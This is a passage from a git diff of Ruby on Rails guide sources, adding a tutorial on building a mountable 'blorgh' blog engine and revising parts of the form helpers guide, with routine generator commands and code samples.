engine + +To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--mountable+ option. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal: + +<shell> +$ rails plugin new blorgh --mountable +</shell> + +The +--mountable+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file. + +h4. Inside an engine + +h5. Critical files + +At the root of the engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+: + +<ruby> + gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+. + +<ruby> +require "blorgh/engine" + +module Blorgh +end +</ruby> + +Within +lib/blorgh/engine.rb+ is the base class for the engine: + +<ruby> +module Blorgh + class Engine < Rails::Engine + isolate_namespace Blorgh + end +end +</ruby> + +By inheriting from the +Rails::Engine+ class, this engine gains all the functionality it needs, such as being able to serve requests to its controllers. + +The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption. It is recommended that this line be left within this file. + +h5. +app+ directory + +Inside the +app+ directory there lives the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section. + +Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too. + +Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application. + +Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file. + +h5. +script+ directory + +This directory contains one file, +script/rails+, which allows you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine. + +h5. +test+ directory + +The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file: + +<ruby> +Rails.application.routes.draw do + + mount Blorgh::Engine => "/blorgh" +end +</ruby> + +This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path. We will look more into mounting an engine after some features have been developed. + +Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. + +h3. Providing engine functionality + +The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting-started.html, with some new twists. + +h4. Generating a post resource + +The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator. + +<shell> +$ rails generate scaffold post title:string text:text +</shell> + +This command will output this information: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_posts.rb +create app/models/blorgh/post.rb +invoke test_unit +create test/unit/blorgh/post_test.rb +create test/fixtures/blorgh/posts.yml + route resources :posts +invoke scaffold_controller +create app/controllers/blorgh/posts_controller.rb +invoke erb +create app/views/blorgh/posts +create app/views/blorgh/posts/index.html.erb +create app/views/blorgh/posts/edit.html.erb +create app/views/blorgh/posts/show.html.erb +create app/views/blorgh/posts/new.html.erb +create app/views/blorgh/posts/_form.html.erb +invoke test_unit +create test/functional/blorgh/posts_controller_test.rb +invoke helper +create app/helpers/blorgh/posts_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/posts_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/posts.js +invoke css +create app/assets/stylesheets/blorgh/posts.css +invoke css +create app/assets/stylesheets/scaffold.css +</shell> + +The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+. + +Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+). + +After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file into this: + +<ruby> +Blorgh::Engine.routes.draw do + resources :posts + +end +</ruby> + +Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. + +Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+). + +Everything this generator has generated is neatly namespaced. The controller's class is defined within the +Blorgh+ module: + +<ruby> +module Blorgh + class PostsController < ApplicationController + ... + end +end +</ruby> + +NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+. + +The helper is also namespaced: + +<ruby> +module Blorgh + class PostsHelper + ... + end +end +</ruby> + +This helps prevent conflicts with any other engine or application that may have a post resource also. + +Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later. + +By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout: + +<erb> +<%= stylesheet_link_tag "scaffold" %> +</erb> + +You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. + +!images/engines_scaffold.png(Blank engine scaffold)! + +Click around! You've just generated your first engine's first functions. + +If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+. + +<ruby> + >> Blorgh::Post.find(1) + => #<Blorgh::Post id: 1 ...> +</ruby> + +One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine: + +<ruby> +root :to => "posts#index" +</ruby> + +Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. + +h4. Generating a comments resource + +Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. + +Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column. + +<shell> +$ rails generate model Comment post_id:integer text:text +</shell> + +This will output the following: + +<shell> +invoke active_record +create db/migrate/[timestamp]_create_blorgh_comments.rb +create app/models/blorgh/comment.rb +invoke test_unit +create test/unit/blorgh/comment_test.rb +create test/fixtures/blorgh/comments.yml +</shell> + +This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+. + +To show the comments on a post, edit +app/views/posts/show.html.erb+ and add this line before the "Edit" link: + +<erb> +<h3>Comments</h3> +<%= render @post.comments %> +</erb> + +This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model: + +<ruby> +has_many :comments +</ruby> + +Turning the model into this: + +<ruby> +module Blorgh + class Post < ActiveRecord::Base + has_many :comments + end +end +</ruby> + +Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects. + +Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+: + +<erb> +<%= render "blorgh/comments/form" %> +</erb> + +Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial: + +<erb> +<h3>New comment</h3> +<%= form_for [@post, @post.comments.build] do |f| %> + <p> + <%= f.label :text %><br /> + <%= f.text_area :text %> + </p> + <%= f.submit %> +<% end %> +</erb> + +This form, when submitted, is going to attempt to post to a route of +posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines: + +<ruby> +resources :posts do + resources :comments +end +</ruby> + +The route now will exist, but the controller that this route goes to does not. To create it, run this command: + +<shell> +$ rails g controller comments +</shell> + +This will generate the following things: + +<shell> +create app/controllers/blorgh/comments_controller.rb +invoke erb + exist app/views/blorgh/comments +invoke test_unit +create test/functional/blorgh/comments_controller_test.rb +invoke helper +create app/helpers/blorgh/comments_helper.rb +invoke test_unit +create test/unit/helpers/blorgh/comments_helper_test.rb +invoke assets +invoke js +create app/assets/javascripts/blorgh/comments.js +invoke css +create app/assets/stylesheets/blorgh/comments.css +</shell> + +The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+: + +<ruby> +def create + @post = Post.find(params[:post_id]) + @comment = @post.comments.build(params[:comment]) + flash[:notice] = "Comment has been created!" + redirect_to post_path +end +</ruby> + +This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: + +<text> + Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: + * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" + * "/Users/ryan/Sites/side_projects/blorgh/app/views" +</text> + +The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class. + +This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it: + +<erb> +<%= comment_counter + 1 %>. <%= comment.text %> +</erb> + +The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. + +That completes the comment function of the blogging engine. Now it's time to use it within an application. + +h3. Hooking into an application + +Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine. + +h4. Mounting the engine + +First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this: + +<shell> +$ rails new unicorn +</shell> + +Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. + +<ruby> +gem 'devise' +</ruby> + +Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification: + +<ruby> +gem 'blorgh', :path => "/path/to/blorgh" +</ruby> + +If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this: + +<ruby> +gem 'blorgh', :path => "vendor/engines/blorgh" +</ruby> + +As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine. + +To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file: + +<ruby> +mount Blorgh::Engine, :at => "blog" +</ruby> + +This line will mount the engine at +blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails s+. + +NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. + +h4. Engine setup + +The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: + +<shell> +Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh +Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh +</shell> + +The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. + +To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. + +h4. Using a class provided by the application + +When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense. + +Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called. + +To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command: + +<shell> +rails g model user name:string +</shell> + +The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use. + +Also to keep it simple, the posts form will have a new text field called +author_name_+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it. + +First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code: + +<erb> +<div class="field"> + <%= f.label :author_name %><br /> + <%= f.text_field :author_name %> +</div> +</erb> + +The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being. + +<ruby> +attr_accessor :author_name +belongs_to :author, :class_name => "User" + +before_save :set_author + +private + def set_author + self.author = User.find_or_create_by_name(author_name) + end +</ruby> + +By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. + +To generate this new column, run this command within the engine: + +<shell> +$ rails g migration add_author_id_to_blorgh_posts author_id:integer +</shell> + +NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. + +This migration will need to be run on the application. To do that, it must first be copied using this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. + +<shell> + NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. + NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. + Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +</shell> + +Run this migration using this command: + +<shell> +$ rake db:migrate +</shell> + +Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine. + +Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+: + +<erb> +<p> + <b>Author:</b> + <%= @post.author %> +</p> +</erb> + +WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+. + +By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly: + +<text> +#<User:0x00000100ccb3b0> +</text> + +This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application: + +<ruby> +def to_s + name +end +</ruby> + +Now instead of the ugly Ruby object output the author's name will be displayed. + +h4. Configuring an engine + +The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application. + +To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line: + +<ruby> +mattr_accessor :user_class +</ruby> + +This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+. + +The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this: + +<ruby> +belongs_to :author, :class_name => Blorgh.user_class +</ruby> + +The +set_author+ method also located in this class should also use this class: + +<ruby> +self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) +</ruby> + +To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing. + +Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it: + +<ruby> +Blorgh.user_class = "User" +</ruby> + +WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on. + +Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is. + +There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. + +h3. Extending engine functionality + +This section looks at overriding or adding functionality to the views, controllers and models provided by an engine. + +h4. Overriding views + +When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. + +In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine. + +By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output. + +Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it: + +<erb> +<h1>Posts</h1> +<%= link_to "New Post", new_post_path %> +<% @posts.each do |post| %> + <h2><%= post.title %></h2> + <small>By <%= post.author %></small> + <%= simple_format(post.text) %> + <hr> +<% end %> +</erb> + +Rather than looking like the default scaffold, the page will now look like this: + +!images/engines_post_override.png(Engine scaffold overriden)! + +h4. Controllers + +TODO: Explain how to extend a controller. +IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide? + +h4. Models + +TODO: Explain how to extend models provided by an engine. + +h4. Routes + +Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as: + +<erb> +<%= link_to "Blog posts", posts_path %> +</erb> + +It needs to be written as: + +<erb> +<%= link_to "Blog posts", blorgh.posts_path %> +</erb> + +This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax. + +If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper: + +<erb> +<%= link_to "Home", main_app.root_path %> +</erb> + +TODO: Mention how to use assets within an engine? +TODO: Mention how to depend on external gems, like RedCarpet. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index a63245acec..821bb305f6 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -27,9 +27,7 @@ The most basic form helper is +form_tag+. <% end %> </erb> -When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability): - -Sample output from +form_tag+: +When called without arguments like this, it creates a +<form>+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability): <html> <form accept-charset="UTF-8" action="/home/index" method="post"> @@ -41,36 +39,30 @@ Sample output from +form_tag+: </form> </html> -If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with two hidden input elements inside. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether action is "get" or "post". Second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf. +Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#_cross_site_reference_forgery_csrf. -NOTE: Throughout this guide, this +div+ with the hidden input elements will be stripped away to have clearer code samples. +NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity. h4. A Generic Search Form -Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: +One of the most basic forms you see on the web is a search form. This form contains: # a form element with "GET" method, # a label for the input, # a text input element, and # a submit element. -IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. - -To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. - -A basic search form +To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this: <erb> -<%= form_tag(search_path, :method => "get") do %> +<%= form_tag("/search", :method => "get") do %> <%= label_tag(:q, "Search for:") %> <%= text_field_tag(:q) %> <%= submit_tag("Search") %> <% end %> </erb> -TIP: +search_path+ can be a named route specified in "routes.rb" as: <br /><code>match "search" => "search"</code> This declares that path "/search" will be handled by action "search" belonging to controller "search". - -The above view code will result in the following markup: +This will generate the following HTML: <html> <form accept-charset="UTF-8" action="/search" method="get"> @@ -80,47 +72,35 @@ The above view code will result in the following markup: </form> </html> +TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. + Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML. -TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. +IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. h4. Multiple Hashes in Form Helper Calls -By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. +The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. -As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments: +As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this: <ruby> form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") -# => <form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post"> +# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">' </ruby> -Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets: +Here, +method+ and +class+ are appended to the query string of the generated URL because you even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect: <ruby> form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") -# => <form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form"> +# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">' </ruby> -This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. - -WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error. - h4. Helpers for Generating Form Elements -Rails provides a series of helpers for generating form elements such as checkboxes, text fields and radio buttons. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+ and +check_box_tag+ generate just a single +<input>+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains - -<erb> -<%= text_field_tag(:query) %> -</erb> +Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +<input>+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+. -then the controller code should use - -<ruby> -params[:query] -</ruby> - -to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. +When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. h5. Checkboxes @@ -133,7 +113,7 @@ Checkboxes are form controls that give the user a set of options they can enable <%= label_tag(:pet_cat, "I own a cat") %> </erb> -output: +This generates the following: <html> <input id="pet_dog" name="pet_dog" type="checkbox" value="1" /> @@ -142,11 +122,11 @@ output: <label for="pet_cat">I own a cat</label> </html> -The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns. +The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked. h5. Radio Buttons -Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one): +Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one): <erb> <%= radio_button_tag(:age, "child") %> @@ -155,7 +135,7 @@ Radio buttons, while similar to checkboxes, are controls that specify a set of o <%= label_tag(:age_adult, "I'm over 21") %> </erb> -output: +Output: <html> <input id="age_child" name="age" type="radio" value="child" /> @@ -164,32 +144,41 @@ output: <label for="age_adult">I'm over 21</label> </html> -As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult". +As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult". -IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. +NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region. h4. Other Helpers of Interest -Other form controls worth mentioning are the text area, password input and hidden input: +Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, URL fields and email fields: <erb> <%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> <%= password_field_tag(:password) %> <%= hidden_field_tag(:parent_id, "5") %> +<%= search_field(:user, :name) %> +<%= telephone_field(:user, :phone) %> +<%= url_field(:user, :homepage) %> +<%= email_field(:user, :address) %> </erb> -output: +Output: <html> <textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea> <input id="password" name="password" type="password" /> <input id="parent_id" name="parent_id" type="hidden" value="5" /> +<input id="user_name" name="user[name]" size="30" type="search" /> +<input id="user_phone" name="user[phone]" size="30" type="tel" /> +<input id="user_homepage" size="30" name="user[homepage]" type="url" /> +<input id="user_address" size="30" name="user[address]" type="email" /> </html> -Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript. +Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. +IMPORTANT: The search, telephone, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for 